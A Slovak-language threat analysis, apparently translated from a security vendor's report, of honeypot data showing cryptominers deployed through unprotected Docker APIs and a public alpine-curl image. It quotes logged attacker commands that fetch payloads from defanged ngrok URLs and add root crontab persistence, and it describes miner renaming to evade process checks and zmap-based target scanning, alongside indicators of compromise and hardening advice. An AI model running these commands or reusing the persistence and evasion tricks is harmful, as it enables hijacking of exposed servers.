Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien

Analyzovali sme údaje zozbierané pomocou kontajnerov honeypot, ktoré sme vytvorili na sledovanie hrozieb. A zistili sme významnú aktivitu od nechcených alebo neautorizovaných ťažiarov kryptomien nasadených ako nečestné kontajnery pomocou obrázka publikovaného komunitou na Docker Hub. Obrázok sa používa ako súčasť služby, ktorá poskytuje škodlivých ťažiarov kryptomien.

Okrem toho sú nainštalované programy na prácu so sieťami, aby prenikli do otvorených susedných kontajnerov a aplikácií.

Naše honeypoty nechávame tak, ako sú, teda s predvolenými nastaveniami, bez akýchkoľvek bezpečnostných opatrení či následnej inštalácie dodatočného softvéru. Upozorňujeme, že Docker má odporúčania pre počiatočné nastavenie, aby sa predišlo chybám a jednoduchým zraniteľnostiam. Ale používané honeypoty sú kontajnery určené na detekciu útokov zameraných na kontajnerovú platformu, nie na aplikácie vo vnútri kontajnerov.

Zistená škodlivá aktivita je tiež pozoruhodná, pretože nevyžaduje zraniteľné miesta a je tiež nezávislá od verzie Docker. Nájsť nesprávne nakonfigurovaný, a teda otvorený obraz kontajnera, je všetko, čo útočníci potrebujú na infikovanie mnohých otvorených serverov.

Neuzavreté Docker API umožňuje užívateľovi vykonávať širokú škálu tímov, vrátane získania zoznamu spustených kontajnerov, získania protokolov z konkrétneho kontajnera, spustenia, zastavenia (vrátane vynúteného) a dokonca vytvorenia nového kontajnera z konkrétneho obrázka so špecifikovanými nastaveniami.

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien
Vľavo je spôsob doručenia škodlivého softvéru. Vpravo je prostredie útočníka, ktoré umožňuje vzdialené sťahovanie obrázkov.

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien
Distribúcia 3762 otvorených rozhraní API Docker podľa krajiny. Na základe vyhľadávania Shodan zo dňa 12.02.2019

Možnosti útočnej reťaze a užitočného zaťaženia

Škodlivá aktivita bola odhalená nielen pomocou honeypotov. Údaje zo spoločnosti Shodan ukazujú, že počet odhalených rozhraní API Docker (pozri druhý graf) sa zvýšil, pretože sme skúmali nesprávne nakonfigurovaný kontajner používaný ako most na nasadenie softvéru na ťažbu kryptomien Monero. V októbri minulého roka (2018, aktuálne údaje môžeš vyzerať takto približne. prekladateľ) bolo iba 856 otvorených rozhraní API.

Skúmanie protokolov honeypotu ukázalo, že použitie obrázkov kontajnera bolo tiež spojené s použitím ngrok, nástroj na vytváranie bezpečných spojení alebo presmerovanie prevádzky z verejne prístupných bodov na určené adresy alebo zdroje (napríklad localhost). To umožňuje útočníkom dynamicky vytvárať adresy URL pri doručovaní užitočného zaťaženia na otvorený server. Nižšie sú uvedené príklady kódov z denníkov, ktoré ukazujú zneužívanie služby ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Ako vidíte, nahrané súbory sa sťahujú z neustále sa meniacich adries URL. Tieto adresy URL majú krátky dátum vypršania platnosti, takže po dátume vypršania platnosti nie je možné sťahovať užitočné údaje.

Existujú dve možnosti užitočného zaťaženia. Prvým je skompilovaný ELF miner pre Linux (definovaný ako Coinminer.SH.MALXMR.ATNO), ktorý sa pripája k ťažobnému fondu. Druhým je skript (TrojanSpy.SH.ZNETMAP.A) určený na získanie určitých sieťových nástrojov používaných na skenovanie rozsahov siete a následné vyhľadávanie nových cieľov.

Skript dropper nastaví dve premenné, ktoré sa potom použijú na nasadenie ťažiara kryptomien. Premenná HOST obsahuje adresu URL, kde sa nachádzajú škodlivé súbory, a premenná RIP je názov súboru (v skutočnosti hash) baníka, ktorý sa má nasadiť. Premenná HOST sa mení pri každej zmene hash premennej. Skript sa tiež snaží skontrolovať, či na napadnutom serveri nebežia žiadni iní baníci kryptomien.

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien
Príklady premenných HOST a RIP, ako aj útržok kódu, ktorý sa používa na kontrolu, či nie sú spustené žiadne iné minery

Pred spustením baníka sa premenuje na nginx. Iné verzie tohto skriptu premenujú baníka na iné legitímne služby, ktoré môžu byť prítomné v prostrediach Linuxu. To zvyčajne stačí na obídenie kontrol podľa zoznamu spustených procesov.

Vyhľadávací skript má tiež funkcie. Spolupracuje s rovnakou službou URL na nasadenie potrebných nástrojov. Medzi nimi je binárna zmap, ktorá slúži na skenovanie sietí a získanie zoznamu otvorených portov. Skript tiež načíta ďalší binárny súbor, ktorý sa používa na interakciu s nájdenými službami a prijímanie bannerov na určenie ďalších informácií o nájdenej službe (napríklad jej verziu).

Skript tiež vopred určuje niektoré rozsahy siete na skenovanie, ale to závisí od verzie skriptu. Pred spustením kontroly tiež nastaví cieľové porty zo služieb – v tomto prípade Docker.

Hneď ako sa nájdu možné ciele, bannery sa z nich automaticky odstránia. Skript tiež filtruje ciele v závislosti od služieb, aplikácií, komponentov alebo platforiem záujmu: Redis, Jenkins, Drupal, MODX, Majster Kubernetes, klient Docker 1.16 a Apache CouchDB. Ak sa naskenovaný server zhoduje s niektorou z nich, uloží sa do textového súboru, ktorý môžu útočníci neskôr použiť na následnú analýzu a hacknutie. Tieto textové súbory sa nahrávajú na servery útočníkov prostredníctvom dynamických odkazov. To znamená, že pre každý súbor sa používa samostatná adresa URL, čo znamená, že následný prístup je zložitý.

Vektor útoku je obrázok Docker, ako je možné vidieť na nasledujúcich dvoch častiach kódu.

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien
V hornej časti je premenovanie na legitímnu službu a v dolnej časti je spôsob, akým sa zmap používa na skenovanie sietí

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien
V hornej časti sú preddefinované rozsahy sietí, v dolnej časti sú konkrétne porty na vyhľadávanie služieb vrátane Dockeru

Ako sa nechránené rozhranie Docker API a verejné obrázky z komunity používajú na distribúciu ťažiarov kryptomien
Snímka obrazovky ukazuje, že obrázok alpskej kučery bol stiahnutý viac ako 10 miliónov krát

Na základe Alpine Linux a curl, zdrojovo efektívneho nástroja CLI na prenos súborov cez rôzne protokoly, môžete zostaviť Obrázok Docker. Ako môžete vidieť na predchádzajúcom obrázku, tento obrázok bol stiahnutý už viac ako 10 miliónov krát. Veľký počet stiahnutí môže znamenať použitie tohto obrázka ako vstupného bodu; tento obrázok bol aktualizovaný pred viac ako šiestimi mesiacmi; používatelia nesťahovali iné obrázky z tohto úložiska tak často. V Dockeri miesto vstupu - súbor inštrukcií používaných na konfiguráciu kontajnera na jeho spustenie. Ak sú nastavenia vstupného bodu nesprávne (napríklad kontajner zostane otvorený z internetu), obrázok možno použiť ako vektor útoku. Útočníci ho môžu použiť na doručenie užitočného zaťaženia, ak zistia, že nesprávne nakonfigurovaný alebo otvorený kontajner zostal nepodporovaný.

Je dôležité poznamenať, že tento obrázok (alpine-curl) sám o sebe nie je škodlivý, ale ako môžete vidieť vyššie, môže byť použitý na vykonávanie škodlivých funkcií. Podobné obrázky Docker je možné použiť aj na vykonávanie škodlivých činností. Kontaktovali sme spoločnosť Docker a spolupracovali sme s ňou na tomto probléme.

Odporúčanie

Nesprávne nastavenie zvyšky neustály problém pre mnohé spoločnosti, najmä tie, ktoré implementujú DevOps, zameraný na rýchly vývoj a dodávku. Všetko sťažuje nutnosť dodržiavať pravidlá auditu a monitorovania, potreba monitorovať dôvernosť údajov, ako aj obrovské škody z ich nedodržiavania. Začlenenie automatizácie zabezpečenia do životného cyklu vývoja vám nielen pomôže nájsť bezpečnostné diery, ktoré by inak mohli zostať neodhalené, ale tiež vám pomôže znížiť zbytočnú pracovnú záťaž, ako je napríklad spúšťanie dodatočných verzií softvéru pre každú objavenú zraniteľnosť alebo nesprávnu konfiguráciu po nasadení aplikácie.

Incident, o ktorom sa hovorí v tomto článku, zdôrazňuje potrebu brať do úvahy bezpečnosť od začiatku vrátane nasledujúcich odporúčaní:

  • Pre systémových administrátorov a vývojárov: Vždy skontrolujte nastavenia rozhrania API, aby ste sa uistili, že všetko je nakonfigurované tak, aby prijímalo iba požiadavky z konkrétneho servera alebo internej siete.
  • Dodržiavajte zásadu najmenších práv: zabezpečte, aby boli obrázky kontajnerov podpísané a overené, obmedzte prístup ku kritickým komponentom (služba spúšťania kontajnerov) a pridajte šifrovanie do sieťových pripojení.
  • Sledujte odporúčania a umožniť bezpečnostné mechanizmy, napr. od spoločnosti Docker a vstavané bezpečnostné prvky.
  • Použite automatizované skenovanie runtime a obrázkov na získanie ďalších informácií o procesoch spustených v kontajneri (napríklad na detekciu spoofingu alebo vyhľadávanie zraniteľností). Kontrola aplikácií a monitorovanie integrity pomáhajú sledovať abnormálne zmeny na serveroch, súboroch a systémových oblastiach.

Trendmicro pomáha tímom DevOps bezpečne budovať, rýchlo zavádzať a spúšťať kdekoľvek. Trend Micro Bezpečnosť hybridného cloudu Poskytuje výkonné, efektívne a automatizované zabezpečenie v rámci kanála DevOps organizácie a poskytuje ochranu pred viacerými hrozbami XGen na ochranu fyzickej, virtuálnej a cloudovej pracovnej záťaže za behu. Pridáva tiež bezpečnosť kontajnera s Hlboká bezpečnosť и Hlboká bezpečnostná inteligentná kontrola, ktoré skenujú obrázky kontajnerov Docker na prítomnosť škodlivého softvéru a zraniteľností v ktoromkoľvek bode vývojového procesu, aby sa predišlo hrozbám ešte pred ich nasadením.

Známky kompromisu

Súvisiace hash:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Na Docker video kurz Cvičiaci rečníci ukazujú, aké nastavenia je potrebné vykonať ako prvé, aby sa minimalizovala pravdepodobnosť alebo sa úplne vyhli vyššie opísanej situácii. A to 19. – 21. augusta na online intenzívnej Nástroje a cheaty DevOps Tieto a podobné bezpečnostné problémy môžete diskutovať s kolegami a cvičnými učiteľmi pri okrúhlom stole, kde sa každý môže ozvať a vypočuť si bolesti a úspechy skúsených kolegov.

Zdroj: hab.com

Pridať komentár